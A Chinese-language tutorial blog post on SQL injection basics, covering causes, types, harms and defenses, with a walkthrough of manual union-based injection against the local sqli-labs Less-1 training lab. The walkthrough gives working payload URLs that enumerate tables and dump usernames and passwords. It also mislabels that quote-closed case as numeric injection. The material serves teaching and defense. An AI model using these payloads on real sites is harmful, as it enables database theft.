SQL注入漏洞基础知识

基本概念

前提

1, 前端传入后端的参数是用户可控的;
2, 传入的参数拼接到SQL语句,且带入数据库查询。

成因

由于WEB应用程序对用户输入的数据的合法性没有判断,用户通过可控参数中注入SQL语句,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为,
成因归结为两个:
1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。
2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

过程

从宏观角度

在这里插入图片描述

从攻击者的角度

寻找注入点

 在这里插入图片描述
测试数据不仅限于以上几种,并且还有多种变化。

例如,以sqli-labs的lesson-1为例,手工注入的过程如下:

当输入单引号’(27%)时,报错:

http://127.0.0.1/sqli-labs/Less-1/?id=1’ and 1=1 --+

http://127.0.0.1/sqli-labs/Less-1/?id=1’ and 1=2 --+
在这里插入图片描述

很显然,这是属于数字型显错注入。

猜解数据库字段数

http://127.0.0.1/sqli-labs/Less-1/?id=1%27 order by 1 --+

当order by 3时,

在这里插入图片描述

当order by 4时,出错,所以有3个字段:
在这里插入图片描述

寻找可控参数

http://127.0.0.1/sqli-labs/Less-1/?id=-1%27 union select 1,2,3 --+
在这里插入图片描述

可见,第2,3字段为可控制字段。

利用可控字段,爆出数据库名

http://127.0.0.1/sqli-labs/Less-1/?id=-1%27 union select 1,database(),3 --+
在这里插入图片描述

利用可控参数,爆出数据库中的表名

http://127.0.0.1/sqli-labs/Less-1/?id=-1%27 union select 1,database(),group_concat(table_name)from information_schema.tables where table_schema=database() --+
在这里插入图片描述

爆出表中的字段

http://127.0.0.1/sqli-labs/Less-1/?id=-1%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ --+

在这里插入图片描述

爆出字段中的内容

http://127.0.0.1/sqli-labs/Less-1/?id=-1%27 union select 1,2,group_concat(username,password) from users --+

在这里插入图片描述


当然,这只是SQL注入获取数据库敏感信息的攻击过程,针对所要达成的攻击效果,例如,获取网站权限,执行命令,获取服务器权限,有不同的方式和过程。

本质

代码与数据不区分。

SQL注入分类

按参数类型分类

数字型注入

输入参数为整型时,如Id、年龄和页码等;
数字型例句如下
select * from table where id = 8

字符型注入

输入参数为字符串型时,如姓名、职业、住址等;
字符型例句如下
select * from table where name =’admin’

两者最大的区别:字符型注入一般要使用单引号进行闭合,而数字型注入则不需要。

按注入位置分类

GET注入:注入字符在URL参数中;
POST注入:注入字段在POSt提交的数据中;
Cookie注入:注入字段在Cookie数据中,网站使用通用的防注入程序,会对GET、POST提交的数据进行过滤,却往往遗漏Cookie中的数据进行过滤。
其他注入:HTTP请求的其他内容触发的SQL注入漏洞;

按结果反馈分类

明注入:也称报错注入,会在数据库报错时在页面显示出具体的报错内容。
盲注入:盲注入不会展现任何数据库报错内容,它是依据构造真或假的问题对数据库进行“提问”,注入方式主要有两种:基于布尔值与基于时间。

布尔值

如在MySQL中判断数据名长度的输入为1’ and length(database()) = 10 #,通过相应的正确与否判断数据名的长度是否为10,猜测数据库中数据的具体内容时,可以借助SUBSTR、LIMIT、ASCII等一些特殊的命令及函数进行猜测;

基于时间

基于时间的SQL盲注入方式通常是在SQL语句中添加延时函数,依据相应时间来判断是否存在SQL注入,常用的延时函数或指令有sleep、repeat等。
总结:盲注入提交SQL命令较多,通常通过手工方式无法完成,借用工具如SQLMAP。

其他类型

延时注入:使用延时函数方式;
搜索注入:注入点在搜索框中;
编码注入:将输入的字符串进行编码,如base64编码;
堆查询注入:同时执行多条语句;
联合查询注入:使用union操作码合并两条或多条SQL语句;
多阶注入:由多个HTTP请求响应共同完成的注入;

SQL注入的危害

1, 泄露数据库敏感信息;
2, 恶意的篡改网页;
3, 写入网站后门。服务器被远程控制;
4, 破坏硬盘数据、使系统瘫痪。

SQL注入的防御

1)开发阶段
在编码阶段需要对输入进行细致的验证,使用静态查询,如使用参数化声明。
遵循“最小权限准则”,即只赋予应用程序完成其功能的最基本权限。例如:不要使用root权限访问数据库、为数据表设定限制的可读/可写权限、慎用数据库存储过程等。
2)测试阶段
  在测试阶段采用以下两种方式确保Web应用程序代码的安全性:第一,采用源代码审核方式,从编程者角度审视代码是否存在漏洞;第二,执行渗透测试,从攻击者角度检查代码的安全性。需要注意的是,尽管完成以上两步,仍不能确保100%的安全,但这两种方法对于确保应用程序质量是必须的。
3)产品化阶段
  在产品化阶段,Web应用程序已经正常上线,并对外提供服务。但还是会发现Web应用存在安全隐患,此时整改代码对各类组织来说已经不现实了,因为需要付出较大代价。这时,可以部署专用的Web应用防火墙(Web Application Firewall,简称WAF),以大幅提升Web应用的安全等级。

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值